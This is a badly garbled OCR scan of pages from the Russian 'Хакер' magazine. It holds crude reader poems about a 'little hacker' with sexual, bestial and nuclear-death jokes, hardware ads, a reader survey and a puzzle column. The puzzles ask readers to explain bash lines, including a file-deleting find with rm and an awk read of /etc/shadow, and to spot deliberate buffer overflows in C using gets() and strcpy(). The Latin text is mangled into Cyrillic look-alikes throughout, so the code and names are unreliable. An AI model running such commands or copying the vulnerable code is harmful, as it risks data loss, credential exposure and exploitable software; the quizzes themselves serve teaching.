зов пера, которые удостоились публикации на 
этих священных страницах. Неге ше до! 

■ Шск <кга$@шаі1.катсІіаІка.ги> 

Маленький хакер страшно ругался - 
В армию он не собирался! 

Но не послушала тетя беднягу - 
Скоро наш хакер принял присягу... 

Форма, погоны, деды - тоска! 

Это - ракетные, парни, войска! 

Здесь вам спокойно скучать не дадут - 
Это же армия. Здесь вам не тут... 

Раз обнаружил он головоломку - 
На сером пульте - красную кнопку. 

Смертью героя погиб хакер Петя - 
Ветер разнес термоядерный пепел. 

■ біискшап 

К чему тебе Гоголь и Гегель, 

Ведь скоро кури, не кури 
Останется в мире лишь Гейгер 
И пара окурков Кюри! 

Припев: Да здравствует ударная волна! 

Она для всех и каждого одна! 

Зачем тебе доллары, милый? 

Зачем ты читаешь "Муму"? 

Все это с улыбкой счастливой 
Исчезнет в кромешном дыму! 



■ "Шкоіаі" <пікоІаі_1@Ггеетаі1.ги> 

Маленький хакер порнуху качал 
И потихоньку в штанишки кончал 
Попу пронзила острая боль - 
Был им у папы украден пароль. 

■ Кіті4 кіші4@шаі1.т 

Маленький хакер по имени Васька 
Без разрешения чатился в Аське, 

Вырваны руки и попа болит. 

Теперь не нажать СГгІ, АН и Беіеііе. 

■ "Еѵдепіу Р" <1ос@Ък.ги> 

Хакера вызвали в военкомат, 

В РВСН был отправлен солдат. 

Дружно рванули из шахт "Тополя", 

Ядерным пеплом покрылась Земля... 

■ "\" Вася Курочкин\"" <Ъегзекег@Ііз1:.ги> 

Маленький хакер по имени Даня 
Осликов любит иметь на диване 
Любит он в " Хакер " об этом писать. 

Любит поганить всем жизнь, твою мать. 

■ "Мг.Вопог" <йопог@геа1.хакер.пі> 

Маленький хакер М5А похачил, 

В шутку ракете старт он назначил... 

Тихо сметают трехглазые дети 
Трехпалой рукой термоядерный пепел. 

■ КАРБАИ <КАРЬАК@таі1.ги> (КСС) 

Маленький хакер с Даней дружил, 

Ослика Дани очень любил. 

Ослика нету, парни грустят: 

Слишком большой для осла был изврат. 

■ ЬагсЬепко Еидепе <зрсі@таі1.ги> 
(Зресігойупе) 

Термоядерным пеплом покрыта провинция. 
Мальчика ищут войска и полиция. 

Знак типа "][" на футболке его. 

Больше не знают о нем ничего! 

■ ІлсЬ йе Огс <саМог-йод@пешпаі1.ги> 

Маленький хакер по имени Петя, 



Маленький хакер по прозвищу Віі:, 

Любил поиграть в порно-Титбит, 

Взрыв, радиация, трупы в гробу. 

Боже, храни эту игру! 

■ йагкаѵепдег@хакер.ги 

Маленький хакер по имени Коля 
Хакнуть решил все компьютеры в школе... 
Быстро метался колин топор. 

За монитором круша монитор. 

■ ВиНТ <зсгеатег@пешпаі1.ги> 

Маленький хакер по имени Даня, 

Целыми днями торчит на диване. 

Мир в его мыслях обкурен и светел. 
Снится ему Термоядерный пепел. 

Маленький хакер по имени Ваня 
Шкуру однажды гонял на диване. 

Тихо подкрался с ножом к нему брат. 
Ванины яйца на полке лежат. 

Руки и ноги торчат из пакета, 

Нет головы, ничего больше нету. 

Тело искать поручили собаке - 
Это до взрыва был маленький хакер. 




у ^ 

г А приз зрительских симпатий л 

получает Віаск зраггоѵѵ за абсолютно 
мирный стих, никак не связанный с ма- 
ленькими хакерами и термоядерным пеп- 



лом. Просто за жизнь: 



Не могу я сегодня с собой совладать. 

От себя сам не знаю где спрятаться, 

Так безумно хочу обнимать, целовать 
Лишь твою драгоценную задницу... 

Посвящается Наташе Д Оле К., Юле Ч ѵ 
Снежане, Вике, Светке, Катюхе 
и прочим, к счастью, большинству. 
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ТѴ-ОиІ / йѴІ-І / І28МВ 00Р2 

Графический процессор ультра нового 
поколения ИѴЮІА® СеРогсе™РХ5800 
Поддержка АСР 8Х с полосой пропускания АОР до 2. 1 Гб/сек. 
ТО.Р. Тесіі,™ Сооіег - Ультра охлаждение и бесшумная работа 
Ядро СіпеРХ™ обеспечивает комплекс качественных 
кинематографических эффектов и технику расширенного 
программирования пиксельных и вершинных шейдеров 
ІпІеІІізашрІе™ ТесЬпоІоду предоставляет сглаженное и 
ультра реалистичное качество изображения 
Частота ядра 500 МГц и память ОЦР2 увеличивают 
скорость частоты кадра графики 
8пикселей/СІоск Непбегіпд Ріреііпе увеличивают и сглаживают скорость игры 
Играйте быстрее с Сд АгсМІесІиге 
Лучшая производительность и совместимость 
для всех Оігесіх® 9.0 и Ореп СІ.® 1 .4 приложений 
Вывод изображения на 2 монитора (ОиаІ ѴСА) 

Обширный пакет программного обеспечения 








М5-8352А 

ВІІЯІ\І-РгооГ м - предотвращает незаполнение буфера 
ЕХАСТ-Вес (ЕпбапсесІ еХІгасІіпд & Абарііпд Сопігоі 
ТесИпоІоду Тог Весогсііпд) контролирует качество записи 
АѴѴ55 (АсІѵапсесІ ѴѴеідГіІіпд Зизрепзіоп ЗузТепл) 
технология сокращения вибрации и шумов 
2Мб встроенный буфер 
Конструкция с низким уровнем шумов / 

Механизм понижения вибрации 

Расширенный интерфейс ЮЕ/АТАРІ 
• Совместим с 

ѴѴіпсІоѵѵз® ХР/2000/Ме/І\ІТ4.0/9х 
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Ѵісіео-Іп / ТѴ-ОиТ / йѴІ-І / І28МВ ОРК 

Графический процессор 4-го 
поколения ЫѴЮІА® - ОеРогсе4™ ТІ4800-ЗЕ8Х 
Поддержка АОР 8Х с полосой 
пропускания до 2.1 Гб/сек. 

Т.О.Р. ТесЬ.™ Сооіег - Ультра охлаждение 
и бесшумная работа «Ядро пІіпіІеРХ™ II 
пѴіеѵѵ™ - Мультимониторная Технология 
Подсистема Ассиѵіеѵѵ АпІІаІІаззіпд™ 

ЫдМзреесІ Метогу АгсЬіІесІиге™ II 
Возможен вывод изображения 
на 2 монитора (ОиаІ ѴОА) 

Шина обмена памяти буфера 128-бит ДОВ 
Расширенное программирование пиксельных шейдеров 

• 2-СоггесІ Витр Марріпд • 30 текстуры и буферы затенения 

• Двойное программирование вершинных шейдеров 
• Обширный пакет программного обеспечения 
Оптимизация и поддержка МісгозоТКв) ОігесіХ® 

• Поддержка Сотріеіе ОрепОІ.® 1 .3 и более поздних версий 
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М5-82І6М 

Укороченный корпус для удобства установки 
Конструкция с низким уровнем шумов / 

Механизм понижения вибрации 
Возможность обновления прошивки 
512Кб памяти встроенный буфер 
М5І 0\Ю 5.1сІі. пакет программного обеспечения 
• Расширенный интерфейс ЮЕ/АТАРІ 
Размеры: 148,4x41,8 х 175,8 мм (ѵѵ/ВегеІ) 



\Ок 



Все указанные выше функции являются опциональными для всех продуктов М5І. *М5І является зарегистрированной торговой маркой Місго-51аг ІпІІ.Со., Ш. *Все спецификации могут быть изменены без оповещения. 
*Все зарегистрированные торговые марки являются собственностью их владельцев. Тарантия не распространяется на любую конфигурацию, не предусмотренную спецификацией производителя. 




М8І 



Пик і&е кііінге 



ОЕАІ.ІІЧЕ е-Ьизіпезз 
ИиЬ, ІВЗ Сгоир 

ТеІ: 095-969-2222 
Рах:095-969-2299 
ѴѴеЬ: ѵѵѵѵѵѵ.беаііпе.ги , 
ѵѵѵѵѵѵ.іЬз.ги 

ЕисІісІ Сотриіегз Іпс. 

ТеІ: 812-325-6300 
Рах: 812-325-6250 
ѴѴеЬ:ѵѵѵѵѵѵ.еисІісІ.ш 




іыицЕ 

ТеІ: 095-941-6161 
Рах: 095-742-3614 
ѴѴеЬ: ѵѵѵѵѵѵ.і2Ь.ги 

ІР Іарз 

ТеІ: 095-728-4101 
Рах: 095-728-4100 
ѴѴеЬ: ѵѵѵѵѵѵ.ірІаЬз.сот.ги 



ІМРЕХ №о Сгоир 

ТеІ: 095-443-3001 
Рах: 095-443-6001 
ѴѴеЬ:ѵѵ\ллл/.пео.ги 

Киззіап-ЗТуІе 

ТеІ: 095-797-5775 
Рах: 095-215-2057 
ѴѴеЬ: ѵталллгиз.ги 












Юниты 


"ПРОЙДИСЬ ДЕБАГГЕРОМ ПО СВОИМ МОЗГАМ!" 


Не стесняйся присылать мне свои ответы, даже если ты смог ответить всего 
на один пазл, я с интересом почитаю твои оригинальные решения. Ну, а 



Х-РІІ22І.Е 



Иван Скляров (8кІуагоѵ@геаІ. хакер. ш) 



имена героев, которые первыми правильно ответят на все вопросы, конечно 
же, будут опубликованы в журнале, чем прославятся на всю Россию (и не 
только) и навечно войдут в историю X. Приз за нами не заржавеет. ;) 

Но помни: в большинстве случаев вариант ответа засчитывается как 
правильный, только если к нему приложено подробное и ВЕРНОЕ 
объяснение, почему выбран именно этот вариант, а не какой-либо другой. 



ОТВЕТЫ К ПРЕДЫДУЩЕМУ ВЫПУСКУ Х-РУ22І.Е 



■ Ответ на пазл #1 
«Чье лого?» 

Первое лого принадлежит сети 
РЮО. Собственно, само слово 
РЮО означает кличку собаки. 
Второе лого относится к одной 
из самых старейших хакерских 
команд «Сиіі 0! ТІіе Оеасі Соѵѵ» 
(сйс) - «Культ мертвой коровы». 
Третье лого символизирует ути- 
литу пеісаі. Это довольно извест- 
ная утилита в хакерских кругах. 
Четвертое лого является одним 
из символов проекта ОрепВЗЭ, 
наряду с демоном. 

Пятое лого - это так называемая 
«ОІМІІ НеасІ» - символ движения 
СІМІІ за свободное программное 
обеспечение. 

Шестое лого - логотип известной 
хакерской команды «1153В іп Ьаск». 



■ Ответ на пазл #2 
«Как стать нищим» 

Ответы на вопросы, по порядку: 

Языки программирования в по- 
рядке появления их на свет: 

Фортран (1954) 

Р1У1 (1964) 

С++ (1986) 

ЭАѴА ( 1 995) 



1 ) Ответ В. 

2) Ответ С. 

3) Ответ С. 

4) Ответ Э. Файл ЗАМ хранит за- 
шифрованные пароли и имена 
пользователей в ѴѴіпсІоѵѵз 
ІМТ/2000/ХР. 

5) Ответ В. 



6) Ответ С. 

7) Ответ С. Наряду с ЭЕЗ в І_іпих 
применяется также алгоритм 
шифрования ІѴЮ5. 

8) Ответ В. 

9) Ответ В. Каждая секунда заде- 
ржки на маршрутизаторе умень- 
шает значение ТТІ_ на единицу. 

1 0) Ответ Э. 

1 1 ) Ответ В. 

1 2) Ответ С. 

1 3) Ответ С. 

14) Ответ В. Все приведенные про- 
токолы, кроме 5ІММР, являются про- 
токолами маршрутизации. ЗММР - 
протокол управления сетями. 

15) Ответ А. Родного деда Бил- 
ла Гейтса звали точно так же 
как и его отца, и сам Билл 
Гейтс является Уильямом Генри 
Гейтсом III. 




Опять у нас нет ни одного 
победителя, который бы дал 
ВСЕ правильные ответы, по- 
этому, смотря сквозь пальцы 
ног, я отдаю призы, тем лю- 
дям, которые были макси- 
мально близки к ним. 

Итак, первый приз получает 
Докучаев Дмитрий ака РогЬ 
(1огЬ@геаІ. хакер. ш). Таких гра- 
мотных и полных ответов, ка- 



кие прислал он, я 
не встречал уже 
давно. Тот, кто чи- 
тает ВЗЛОМ и 
ЮНИКСОИД, на- 
верняка, знает, что 
Дмитрий является 
одним из постоян- 
ных авторов в на- 
шем журнале. Но 
здесь нет ни како- 
го предвзятого отношения с 
моей стороны. Никто кроме 
меня и главвреда до выхода 
журнала из печати не знает от- 
ветов. Дмитрию очень нравит- 
ся принимать участие в разга- 
дывании головоломок и вот 
удача улыбнулась ему :). Я да- 
же скажу в чем была его един- 
ственная ошибка, т. к. она бы- 
ла самая распространенная 



среди читателей. А трабла воз- 
никла в девятом вопросе пазла 
«КАК СТАТЬ НИЩИМ», больши- 
нство читателей упорно утве- 
рждало, что пакет пройдет 8 
маршрутизаторов, т. к. значе- 
ние поля ТТІ_= 8, а каждый роу- 
тер вычитает единицу. Однако 
это не совсем так. На самом 
деле КАЖДАЯ СЕКУНДА заде- 
ржки пакета на коммуникаци- 
онном устройстве вычитает 1 
из поля ТТІ_ (но, в современных 
условиях принято считать, что 
пакет проходит устройство за 
время <=1сек), поэтому сог- 
ласно условию задачи ответ 
будет 4. Немного пожурим 
Дмитрия, за этот огрех :) и с 
чистым сердцем отдадим ему 
приз. Буду рад ответам и дру- 
гих авторов ;). 



«СНѴРТРІЯЖ» 



М.ІАзІі скачал некую прог- 
рамму для шифрования текс- 
тов со звучным названием 
«СгурІРиск ѵі.1». Прежде 
чем включить программу в 
обзор своей рубрики Ша- 
роѴѴАРЕ2, он решил протес- 
тировать ее. М.ІАзІі набрал 
в поле ввода слово «Хакер» 
(без кавычек) и нажал кнопку 
СгурІ, программа выдала 
следующий шифр: 
\П\деГхН 

Тогда он набрал «Хакер» на- 
оборот, т. е. «рекаХ», прога 
зашифровала данное слово 
следующим образом: 

Щ'деИГР 



Смутное сомнение закра- 
лось в душу ведущего са- 
мой варезной рубрики. 
Введя последнее слово 
«АзИ» и посмотрев на полу- 
ченный шифр, ІУЫ.АзІі 
окончательно разгадал ал- 
горитм шифрования, после 
чего ему ничего не остава- 
лось, как удалить програм- 
му со своего винчестера 
(он совершенно не хотел 
рекомендовать читателям 
программу со столь нес- 
тойким алгоритмом шиф- 
рования). 

Как «СгурІРиск ѵі . 1 » за- 
шифровал слово «АзИ»? 




в том, что мы набираем 
тест- группу, которая будет 
тесно сотрудничать с редак- 
цией чтобы сделать Хакер 
таким, каким нам всем хо- 
чется его видеть. Если хо- 
чешь попасть в эту группу, 
пиши на 1осіі5@геаІ. хакер. ш. 



Второй приз получает хак 
(хак2003@кт.ш). Не знаю, 
он это или она, но ответы 
были четкие и по делу ;). 
Поздравляю! 

Кстати, если тебе повезло 
стать победителем Х-Риггіе, 
ты нам нужен вдвойне! Дело 



«ХУДОЖЕСТВА НА НТМІ.» 




Идея этой головоломки возникла 
у меня после того, как я случай- 
но наткнулся на один занима- 
тельный сайт некой молодой «ха- 
керской» команды (название не 
скажу даже под пытками %)). С 
момента начала загрузки данно- 
го сайта у меня начали всплы- 
вать десятки РорІІр-окон, на ко- 
торых я едва успевал кликать 
кнопку Закрыть, закрутились 
сотни ѴВ и ЖА-скриптов, выва- 
лилась куча охренительной гра- 
фики на флеше, и все это под 
мелодичные аккорды панк-рока. 
Но я не из слабонервных, и по 
прошествии 30 минут дождался- 
таки окончания загрузки. С тру- 
дом мне удалось разглядеть на 



пестром фоне бледную надпись: 
«ИзВяНиТе Мы МаЛаДая ХаКиРс- 
КаЯ КаМаНдА И ИщЕ Ни НаКаПи- 
Ли МаТеРиАлА». Что ж, навер- 
ное, я сам виноват, нужно на 
«хакерские» сайты ходить под 
Іупх’ом. А ведь были времена, 
когда странички не просто верс- 
тались на чистом НТМІ_, но даже 
рисунки полностью рисовались 
на нем же, из-за чего вес стра- 
ниц был просто смехотворным. 
Вот я и решил проверить, не пе- 
репились ли на Руси еще настоя- 
щие веб-дизигнеры. Сначала я 
хотел дать задание нарисовать 
на НТМІ_ Красную площадь с ку- 
рантами, мавзолеем и с танками 
посередине. Но затем подумал, 



что это будет слишком сложно и 
для меня самого, ведь прежде 
чем предложить тебе головолом- 
ки, я их разгадываю сам. Как раз 
во время моих раздумий по те- 
левизору выступал Буш и гово- 
рил, что он отрежет Саддаму... 
хм... в общем, натравит на него 
своих рейнджеров. Поэтому я 
нарисовал американский флаг 
(см. рисунок), причем почти по 
всем правилам: 13 красных и бе- 
лых полос, но вместо 50 пятико- 
нечных звезд в знак протеста 
против агрессивной политики 
США изобразил только 40. 

Твоя задача нарисовать такой же. 
Размер и положение флага на 
странице значения не имеют, 



единственное условие - нельзя 
включать графику (дй, ірд, рпд и 
пр.), а также подключать какие 
бы то ни было скрипты и аппле- 
ты (ѴВЗсгірІ, ЭАѴА, ЭаѵаЗсгірІ:, 

...), т. е. флаг должен быть нари- 



сован только с помощью станда- 
ртных тэгов НТМІ_. Кроме того, я 
буду определять автора самого 
маленького кода. Внимание: зак- 
рывающие тэги использовать 
обязательно! 
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«ЛОМКА МОЗГОВ в консоли» 



Простенькое задание для заядлых 
юниксоидов. Нужно подробно объ- 
яснить, что делают командные 
строки, приведенные ниже. В паз- 
ле использованы стандартные ко- 



манды, а все дело происходит в 
оболочке ЬазИ. В этой головоломке 
важно внимание, т. к. если ты не 
упомянешь хотя бы одно действие, 
которое делает строка, или допус- 



тишь неточность, ответ не засчи- 
тывается! Предупреждение: если 
ты бездумно решишь запустить эти 
строки на (не)своем компьютере, 
то за последствия я не отвечаю... 



Первая строка: 

ТіпсІ / -регш 00003 \( -зіге Ос -о -паше соге -о -пате ‘*.[0-9]*’ \) -аііте +30 -ок гт {} \; 

Вторая строка: 

аѵѵк -Р: ‘{і! (($4 == ”0”) && (ІепдШ($1 ) > 4)) ргіпі ИВ, $0}’ /еіс/зПасІоѵѵ 

Третья строка: 

есИо -е “\033 [ 1 8С\033 [5 ; 3 1 ;46т” 'ѵѵ!ю і ат' “\033[0;37;40т” 

Четвертая строка: 

саі а.о Ь.о|дгер -ѵі “гооі”|зоі1 >${НОМЕ}/аЬ.$$ & 



Пятая строка: 

Ігар ‘кіІІ -2 1’ 3 



И еще должен сказать. В 
каждом втором своем пись- 
ме читатели настойчиво 
(вплоть до угроз) просят ме- 
ня прислать им ответ, чтобы 
я сказал, правильно они от- 
ветили или нет, получат они 
приз или нет и т. д. Только 
не бейте меня по почкам, но 



я не могу, просто не могу 
всем отвечать, вас слишком 
много, а я один. Разбогатею, 
обзаведусь секретаршей, 
тогда, пожалуйста. Ждите 
следующего выпуска X- 
Риніе и все сами узнаете, 
ведь так даже интереснее ;). 
Отдельные гритинги должен 



передать некоторым читате- 
лям за весьма оригинальные 
ответы, цитирую: «А я нифи- 
га не знаю ;-))) Ладно - га- 
лава балит - бухой я седня :- 
(~~~ А еб ...» и еще «Я это 
знал, но забыл :(». Это дос- 
тойные кандидаты на звание 
«Самый дурацкий ответ»! :) 



«ВУРРЕВ ОѴЕПРЮѴѴ» 


Ниже приведены три куска ко- 
да на языке Си, твоя задача 
определить, какие из них по- 


тенциально подвержены 
ошибке переполнения буфера 
и почему? 


Первый кусок 

сПаг СоипІ[1024]; 
іпі аСоипІ, ЬСоипІ; 
аСоипІ = ЬСоипі = 0; 

ѵѵбііе ((СоипЦаСоипІ] = де!с!іаг()) != ЕОР) { 
++аСоипі; 

іі (СоигфСоипІ] == ‘\п’) 
++ЬСоипі; 


Третий кусок 

Йезі(с!іаг *зіг) { 
сПаг геГСиЬ[255]; 
зігсру(геЯиЬ, зіг); 
геШгп; 

} 

таіп(іпІ агдс, сПаг *агдѵ[]) 
{ 


} 




іі (агдс>1) 


Второй кусок 

ргіпЙ(“Раз5ѵѵогсІ:”); 

деіз(разз); 

і! (!з1гстр(разз, “доб”)) 
ргіпЙ(“НеІІо, досПуГ); 


Йезі(агдѵ[1]); 

еізе 

ргіпЙ(“І\Іо агдитепіз\п”); 

геШгп 0; 

} 



Как обычно, пра- 
вильные ответы 
смотри в следую- 
щем выпуске X- 
Риггіе. Не забы- 
вай: ответы, пре- 
тендующие на 
приз, я рассмат- 
риваю только до 
первого числа 
каждого месяца 
(в данном случае 
до 1 апреля). 

Удачи! 




Третий приз получает ѴІРеР 
(ѵірег5к@різет.пеі). А это есть ни кто 
иной, как Михаил Мануйлов, который 
уже выигрывал приз в нашей рубрике, 
очевидно ему показалось мало. ;) Ну, 
что сказать, сильный игрок... 




Четвертую кульную девайсину забирает 
Николай, акаАбтіп МО№х 
(МОМах@хакер.ш). Аплодисменты! 



т 



Адрес: 129 090, Москва, 
Олимпийский проспект, 16, оф. 35 
шш.сНеггу.ш; сНеггу@сНеггу.ш 
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выставки : 

С 29 МАРТА ПО ІО АПРЕЛЯ 

РОССИЙСКИЙ комикс 



С 1 1 ПО 28 АПРЕЛЯ 

КОМИКС ФРАНЦИИ 



Москва, Сахаровский Центр, 
ул. Земляной Вал, д. 57 стр. 6 




Юниксоид 



Х-Стиль 



Кодинг 



ШТУЧКА 

























Алоха, амигос! Дочитал журнал до этого места? Ну, ты крут - можешь считать себя 
профессиональным читателем. Хочешь теперь стать настоящим писаталем? Заполни анкету и пришли 
ее нам. Твое нетленное творение навсегда осядет в анналах нашей редакции, но самое главное, ты 
поможешь сделать Хакер более интересным, стильным, нужным, короче более таким, каким ты его 
хочешь видеть. А если ты чувствуешь в себе силы заняться улучшением журнала всерьез, 
записывайся в нашу тест-группу. Заинтересован? Пиши на Іосиз@геаІ.хакер.ги. 



Давно ли ты читаешь "Хакер" 

□ С первых номеров 

□ Уже пару лет 

□ Около года 

□ Купил несколько последних 
журналов 

Как ты считаешь, изменился 
ли "Хакер" за последнее время 

□ Да, улучшился 

□ Да, ухудшился 

□ Нет, по-моему, не изменился 

Почему ты купил этот номер 

□ Понравилась обложка 

□ Понравились темы номера 

□ Я постоянный читатель 

□ Случайно купил 

□ Друзья порекомендовали 

Идеальная статья для меня 

□ Максимум информации 

□ Прикольный стиль, легкое чтение 

Как ты оцениваешь сложность 
материалов рубрики "ВЗЛОМ"? 

□ Все понятно 

□ Иногда сложно 

□ Почти ничего не понятно 

Как ты смотришь на материалы 
о простых методах взлома 

□ Положительно, я не хакер, 
а поломать что-то хочется 

□ Отрицательно, нужны материалы 
посерьезнее 

Ты хотел бы чаще видеть 
в рубрике "РС 20МЕ' 

□ Подборки софта 

□ Краткие обзоры свежих прог 

□ Подробные руководства 

□ Рассказы о новых технологиях 

□ Статьи об истории хакерства 

□ Интервью с известными 
личностями 

□ Материалы для начинающих 
пользователей 



Письма шли по адресу: 
101000, Москва, 
Главпочтамт, а/я 652, Хакер 
с пометкой «анкета» 



Ты используешь полученную 
информацию? 

□ Да, использую 

□ Нет, мне просто интересно быть в 
курсе 

□ Не использую, т.к. не нашел 
ничего полезного 

Сколько приблизительно 
человек читают 
твой номер журнала 

□ Только я 

□ 2-3 человека 

□ 4-5 человек 

□ Всей толпой 

Что бы ты хотел видеть 
на диске? 

□ Новые версии популярных прог 

□ Больше полезных утилит 

□ Большие дистрибутивы 

□ Меня все устраивает 

Как ты оцениваешь содержание 
диска "Хакера" 

□ Супер 

□ Думал, что будет лучше 

□ Совсем не понравился 

□ Не покупал журнал с диском 

Какие акции, организованные 
нашим журналом, ты бы посетил 

□ Соревнование по компьютерным 
играм 

□ Конкурс программистов 

□ Вечеринку в клубе 

□ Демо-пати 

Как тебе дизайн журнала 

□ Очень нравится 

□ Не нравится 

□ Не обращаю внимания на дизайн 

Ты подписан на "Хакер"? 

□ Да, так удобней 

□ Да, в наш город журнал доходит 
только по подписке 

□ Нет, боюсь журнал до меня не 
дойдет 

□ Нет, т.к. оформлять слишком 
долго и нудно 

□ Даже не думал об этой 
возможности 



О ТЕБЕ 



Где ты живешь 

□Москва или Питер 

□ Областной центр 

□ Небольшой город 

□ Поселок 

□ Деревня/село 

Связана ли твоя работа 
с компьютерами? 

□ Да 
□Нет 

□ Я не работаю 

Сколько тебе лет 

□ Меньше 15 

□ 15-17 

□ 18-20 

□ 21-23 
□24-27 

□ 28-30 

□ больше 30 

Охарактеризуй свой 
уровень знания компьютера 
(только честно!) 

□ Элита 

□ АбѵапсесІ ІІзег 

□ Обычный пользователь 

□ Начинающий 

Какие из перечисленных вещей 
у тебя есть 

□ ОМО плеер 

□ Ш-ВОМ 
ПМРЗ-плеер 

□ Ноутбук 

□ Домашний кинотеатр 

□ Мобильник 

□ КПК 

□ Цифровой фотоаппарат 

Какую часть зарплаты 
в твоей семье тратят на 
продукты питания 

□ Почти всю 
п Половину 

□ Примерно треть 

□ Четверть или одну пятую 

□ От 1 0 до 20 % 

□ Меньше десятой части 
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И все-таки он вертится! 



о° 
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та ѵісіогіа 

( 095 ) 252 - 2030 , 252-2070 



Р=І_УПТ*ОІ\Г Г 700 Р 

Абсолютно плоский экран 
Размер точки 0,24 мм 
Частота развертки 95 кГ ц 
Экранное разрешение 1600x1200 
ІІЗВ-интерфейс 




г.Москва: Атлантик Компьютере (095) 240-2097; Банкос (095) 128-9022; Березка (095) 362-7840; ДЕЛ (095) 250-5536; Инкотрейд (095) 176-2873; Инфорсер (095) 747-3178 
КИТ-компьютер (095) 777-6655; Компьютеры и офис (095) 918-1117; Компьютерный салон ЗМ8 (095) 956-1225; ЛИНК и К (095) 784-6618; НИКС (095) 974-3333 
Сетевая Лаборатория (095) 784-6490; СКИД (095) 956-8426; Техмаркет Компьютере (095) 363-9333; Ф-Центр (095) 472-6401 ; РІаке (095) 236-9925; ІЗМ Сотриіегз (095) 319-8175 
ОЮІ (095) 105-0700; РОІ.АВІЗ (095) 755-5557; В-Зіуіе (095) 904-1001; г.Архангельск: Северная Корона (8182) 653-525; г.Волгоград: Техком (8442) 975-937 
г.Воронеж: Сани (0732) 733-222, 742-148; г.Иркутск: Комтек (3952) 258-338; г.Липецк: Регард-тур (0742) 485-285; г.Тюмень: ИНЭКС-Техника (3452) 390-036. 





ЗупсМазІег 

НОВЫЙ стиль 

цифровой эры 




С 1 февраля по 31 марта 2003 года - специальное предложение покупателям 
жидкокристаллических мониторов ЗупсМазТег. Подробности на Интернет сайте ѵ/ѵѵ\ѵ.$апл$ііпд.гіі 
Информационный центр 5ат$ііпд ЕІесІгопісз : +7 (095) 937-79-79. 



возможность 
крепления — 
но стену 



регулировка 
высоты 
и наклона 
экрана 



ТРТ мониторы 5ат$ііпд 5упсМа$*ег серии 152/172 



- уникальный супертонкий дизайн корпуса 

- все разъемы расположены на подставке 
-двойной видеовход ( 152Т/172Т) 

- исключительное качество изображения 

- динамики встроенные в подставку (опционально) 

- соответствие самым строгим стандартам безопасности 



товар сертифицирован 



